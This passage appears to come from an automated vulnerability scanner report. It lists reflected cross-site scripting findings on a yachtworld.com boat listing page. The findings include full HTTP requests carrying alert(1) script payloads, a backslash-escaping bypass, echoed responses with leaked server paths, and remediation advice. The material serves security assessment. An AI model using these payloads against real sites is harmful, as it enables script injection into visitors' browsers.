VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:25:25 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the &ywo request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 8f970'><script>alert(1)</script>a63156b8ccd was submitted in the &ywo parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /core/listing/pl_boat_detail.jsp?&units=Feet&id=2223519&lang=en&slim=broker&&hosturl=starlingmarine&&ywo=starlingmarine8f970'><script>alert(1)</script>a63156b8ccd& HTTP/1.1 Host: www.yachtworld.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: yw_c_id=5778232892790151794; __utmz=20819632.1296155835.1.1.utmcsr=starlingmarine.com|utmccn=(referral)|utmcmd=referral|utmcct=/used-new-boats-wilmington-morehead-nc.html; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.2.10.1296155835; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B; s_pers=%20s_nr%3D1296155874806%7C1298747874806%3B%20s_lv%3D1296155874808%7C1390763874808%3B%20s_lv_s%3DFirst%2520Visit%7C1296157674808%3B
Response
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:38:43 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 14212
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the &ywo request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5765a\'%3balert(1)//16aa928554e was submitted in the &ywo parameter. This input was echoed as 5765a\\';alert(1)//16aa928554e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /core/listing/pl_boat_detail.jsp?&units=Feet&id=2223519&lang=en&slim=broker&&hosturl=starlingmarine&&ywo=starlingmarine5765a\'%3balert(1)//16aa928554e& HTTP/1.1 Host: www.yachtworld.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: yw_c_id=5778232892790151794; __utmz=20819632.1296155835.1.1.utmcsr=starlingmarine.com|utmccn=(referral)|utmcmd=referral|utmcct=/used-new-boats-wilmington-morehead-nc.html; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.2.10.1296155835; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B; s_pers=%20s_nr%3D1296155874806%7C1298747874806%3B%20s_lv%3D1296155874808%7C1390763874808%3B%20s_lv_s%3DFirst%2520Visit%7C1296157674808%3B
Response
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:38:44 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 14026
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the &ywo request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ac602"><script>alert(1)</script>0e861c65cac was submitted in the &ywo parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /core/listing/pl_boat_detail.jsp?&units=Feet&id=2223519&lang=en&slim=broker&&hosturl=starlingmarine&&ywo=starlingmarineac602"><script>alert(1)</script>0e861c65cac& HTTP/1.1 Host: www.yachtworld.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: yw_c_id=5778232892790151794; __utmz=20819632.1296155835.1.1.utmcsr=starlingmarine.com|utmccn=(referral)|utmcmd=referral|utmcct=/used-new-boats-wilmington-morehead-nc.html; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.2.10.1296155835; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B; s_pers=%20s_nr%3D1296155874806%7C1298747874806%3B%20s_lv%3D1296155874808%7C1390763874808%3B%20s_lv_s%3DFirst%2520Visit%7C1296157674808%3B
Response
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:38:43 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 14211
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the checked_boats request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9d758'%3balert(1)//bdf0a9dfb63 was submitted in the checked_boats parameter. This input was echoed as 9d758';alert(1)//bdf0a9dfb63 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /core/listing/pl_boat_detail.jsp?hosturl=galatiyachts&checked_boats=20302029d758'%3balert(1)//bdf0a9dfb63&featuredon=yw-en-TX&slot=1&slim=broker HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 500 Internal Server Error Date: Thu, 27 Jan 2011 20:26:45 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=ISO-8859-1
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en-US"> <head>
...[SNIP]... <br>'+ 'ExceptionMessage: For input string: "20302029d758';alert(1)//bdf0a9dfb63"<br> ...[SNIP]...
The value of the hosturl request parameter is copied into the HTML document as plain text between tags. The payload e9f24<script>alert(1)</script>85ccdba64cb was submitted in the hosturl parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /core/listing/pl_boat_detail.jsp?hosturl=galatiyachtse9f24<script>alert(1)</script>85ccdba64cb&checked_boats=2030202&featuredon=yw-en-TX&slot=1&slim=broker HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:25:53 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!-- /opt/weblogic/waeyw/ywcluster ...[SNIP]... </script>85ccdba64cb/boats.footer.html:--> Exception while reading the file:/opt/weblogic/waeyw/ywcluster/public_html/broker_pages/galatiyachtse9f24<script>alert(1)</script>85ccdba64cb/boats.header.html exception is java.io.FileNotFoundException: /opt/weblogic/waeyw/ywcluster/public_html/broker_pages/galatiyachtse9f24<script> ...[SNIP]...
The value of the hosturl request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f0941"><script>alert(1)</script>f9c173fb8cc was submitted in the hosturl parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /core/listing/pl_boat_detail.jsp?hosturl=galatiyachtsf0941"><script>alert(1)</script>f9c173fb8cc&checked_boats=2030202&featuredon=yw-en-TX&slot=1&slim=broker HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:25:17 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the hosturl request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload c25f5'><script>alert(1)</script>989701469 was submitted in the hosturl parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /core/listing/pl_boat_detail.jsp?hosturl=galatiyachtsc25f5'><script>alert(1)</script>989701469&checked_boats=2030202&featuredon=yw-en-TX&slot=1&slim=broker HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; 